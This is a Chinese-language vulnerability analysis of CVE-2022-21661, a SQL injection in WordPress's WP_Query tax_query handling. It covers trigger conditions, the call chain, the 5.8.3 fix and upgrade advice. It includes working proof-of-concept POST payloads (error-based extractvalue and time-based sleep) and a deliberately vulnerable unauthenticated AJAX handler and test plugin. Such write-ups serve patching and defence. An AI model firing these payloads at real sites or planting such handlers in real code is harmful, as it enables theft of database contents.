某Press核心框架WP_Query SQL注入漏洞分析(CVE-2022–21661)
字数 1678 2025-08-29 08:31:35

WordPress核心框架WP_Query SQL注入漏洞分析(CVE-2022-21661)教学文档

漏洞概述

CVE-2022-21661是WordPress核心框架中的一个SQL注入漏洞,存在于WP_Query类中。该漏洞允许攻击者通过精心构造的查询参数执行任意SQL语句,可能导致数据泄露、数据篡改等安全问题。

影响范围

  • WordPress版本:v4.1~v5.8.2
  • 修复版本:v5.8.3及以上

漏洞原理

WP_Query类简介

WP_Query是WordPress定义的一个核心类,允许开发者编写自定义查询和使用不同参数展示文章。它可以直接查询WordPress数据库,在核心框架、插件和主题中广泛使用。

漏洞触发点

漏洞主要存在于WP_Tax_Query类的clean_query()transform_query()方法中,当满足特定条件时,用户输入的恶意SQL语句会被直接拼接到最终的SQL查询中。

漏洞触发条件

  1. $query['include_children']is_taxonomy_hierarchical($query['taxonomy'])为false
  2. $query['field']值为term_taxonomy_id

漏洞利用流程

  1. 攻击者构造恶意JSON数据,通过tax_query参数传递SQL注入payload
  2. 数据被传递给WP_Query构造函数
  3. get_sql_for_clause()方法中,恶意数据未被充分过滤
  4. 恶意数据被直接拼接到SQL查询中执行

漏洞复现

测试环境

  • 操作系统:Windows 7
  • Web服务器:Apache 2.4.23
  • PHP版本:5.6.27
  • WordPress版本:5.8
  • 测试工具:Firefox + BurpSuite

复现步骤

  1. 在主题的functions.php中添加测试代码:
function wp_query_test(){
    echo 'test-cve-2022-21661';
    $inputData = stripslashes($_POST['data']);
    $jsonDecodeInputData = json_decode($inputData,true);
    $wpTest = new WP_Query($jsonDecodeInputData);
    wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);
  1. 开启WordPress调试模式(在wp-config.php中):
define('WP_DEBUG', true);
  1. 发送恶意请求:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}

延时注入POC

当未开启调试模式时,可以使用延时注入:

action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}

漏洞分析

关键代码分析

漏洞位于wp-includes/class-wp-tax-query.php文件中的clean_query()方法:

private function clean_query(&$query) {
    if (empty($query['taxonomy'])) {
        if ('term_taxonomy_id' !== $query['field']) {
            $query = new WP_Error('invalid_taxonomy', __('Invalid taxonomy.'));
            return;
        }
        $query['include_children'] = false;
    }
    // ...
    $this->transform_query($query, 'term_taxonomy_id');
}

$query['field']term_taxonomy_id时,transform_query()方法会直接返回,不对$query['terms']进行过滤:

protected function transform_query(&$query, $resulting_field) {
    if ($query['field'] == $resulting_field) {
        return;
    }
    // ...
}

调用链分析

  1. WP_Query构造函数被调用
  2. 调用query()方法
  3. 调用get_posts()方法
  4. 调用get_sql()方法
  5. 调用get_sql_clauses()方法
  6. 调用get_sql_for_query()方法
  7. 调用get_sql_for_clause()方法
  8. 调用clean_query()方法
  9. 调用transform_query()方法(直接返回)
  10. 恶意数据被拼接到SQL查询中

完整SQL注入语句

SELECT SQL_CALC_FOUND_ROWS wp_posts.ID 
FROM wp_posts 
LEFT JOIN wp_term_relationships ON (wp_posts.ID = wp_term_relationships.object_id) 
WHERE 1=1 
AND (wp_term_relationships.term_taxonomy_id IN (111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#)) 
AND wp_posts.post_type IN ('post', 'page', 'attachment') 
AND (wp_posts.post_status = 'publish' OR wp_posts.post_status = 'future' OR wp_posts.post_status = 'draft' OR wp_posts.post_status = 'pending') 
GROUP BY wp_posts.ID 
ORDER BY wp_posts.post_date DESC 
LIMIT 0, 10

插件漏洞示例

可以创建一个测试插件来演示漏洞:

<?php
/*
Plugin Name: CVE-2022-21661-test-plugin
Description: Test plugin for CVE-2022-21661
Version: 1.0
Author: Test
*/

function testSQLiCVE202221661() {
    $inputData = stripslashes($_POST['data']);
    $jsonDecodeInputData = json_decode($inputData, true);
    $wpTest = new WP_Query($jsonDecodeInputData);
    wp_die();
}
add_action('wp_ajax_nopriv_testcve202221661', 'testSQLiCVE202221661');
?>

修复方案

WordPress在5.8.3版本中修复了此漏洞,主要修改是在wp-includes/class-wp-tax-query.php中添加了对$query['terms']的严格类型检查:

$query['terms'] = wp_parse_id_list( $query['terms'] );

wp_parse_id_list()函数确保$query['terms']数组中的元素必须为整数。

修复建议

  1. 立即升级到WordPress 5.8.3或更高版本
  2. 检查所有自定义主题和插件中是否存在类似new WP_Query($untrusted_input)的代码
  3. 对所有用户输入进行严格验证和过滤

总结

CVE-2022-21661是WordPress核心框架中一个严重的SQL注入漏洞,影响范围广。漏洞利用条件相对宽松,攻击者可以通过多种方式构造恶意请求。建议所有WordPress用户立即升级到安全版本,并检查自定义代码中是否存在类似的安全隐患。

WordPress核心框架WP_ Query SQL注入漏洞分析(CVE-2022-21661)教学文档 漏洞概述 CVE-2022-21661是WordPress核心框架中的一个SQL注入漏洞,存在于WP_ Query类中。该漏洞允许攻击者通过精心构造的查询参数执行任意SQL语句,可能导致数据泄露、数据篡改等安全问题。 影响范围 WordPress版本:v4.1~v5.8.2 修复版本:v5.8.3及以上 漏洞原理 WP_ Query类简介 WP_ Query是WordPress定义的一个核心类,允许开发者编写自定义查询和使用不同参数展示文章。它可以直接查询WordPress数据库,在核心框架、插件和主题中广泛使用。 漏洞触发点 漏洞主要存在于 WP_Tax_Query 类的 clean_query() 和 transform_query() 方法中,当满足特定条件时,用户输入的恶意SQL语句会被直接拼接到最终的SQL查询中。 漏洞触发条件 $query['include_children'] 或 is_taxonomy_hierarchical($query['taxonomy']) 为false $query['field'] 值为 term_taxonomy_id 漏洞利用流程 攻击者构造恶意JSON数据,通过 tax_query 参数传递SQL注入payload 数据被传递给 WP_Query 构造函数 在 get_sql_for_clause() 方法中,恶意数据未被充分过滤 恶意数据被直接拼接到SQL查询中执行 漏洞复现 测试环境 操作系统:Windows 7 Web服务器:Apache 2.4.23 PHP版本:5.6.27 WordPress版本:5.8 测试工具:Firefox + BurpSuite 复现步骤 在主题的 functions.php 中添加测试代码: 开启WordPress调试模式(在 wp-config.php 中): 发送恶意请求: 延时注入POC 当未开启调试模式时,可以使用延时注入: 漏洞分析 关键代码分析 漏洞位于 wp-includes/class-wp-tax-query.php 文件中的 clean_query() 方法: 当 $query['field'] 为 term_taxonomy_id 时, transform_query() 方法会直接返回,不对 $query['terms'] 进行过滤: 调用链分析 WP_Query 构造函数被调用 调用 query() 方法 调用 get_posts() 方法 调用 get_sql() 方法 调用 get_sql_clauses() 方法 调用 get_sql_for_query() 方法 调用 get_sql_for_clause() 方法 调用 clean_query() 方法 调用 transform_query() 方法(直接返回) 恶意数据被拼接到SQL查询中 完整SQL注入语句 插件漏洞示例 可以创建一个测试插件来演示漏洞: 修复方案 WordPress在5.8.3版本中修复了此漏洞,主要修改是在 wp-includes/class-wp-tax-query.php 中添加了对 $query['terms'] 的严格类型检查: wp_parse_id_list() 函数确保 $query['terms'] 数组中的元素必须为整数。 修复建议 立即升级到WordPress 5.8.3或更高版本 检查所有自定义主题和插件中是否存在类似 new WP_Query($untrusted_input) 的代码 对所有用户输入进行严格验证和过滤 总结 CVE-2022-21661是WordPress核心框架中一个严重的SQL注入漏洞,影响范围广。漏洞利用条件相对宽松,攻击者可以通过多种方式构造恶意请求。建议所有WordPress用户立即升级到安全版本,并检查自定义代码中是否存在类似的安全隐患。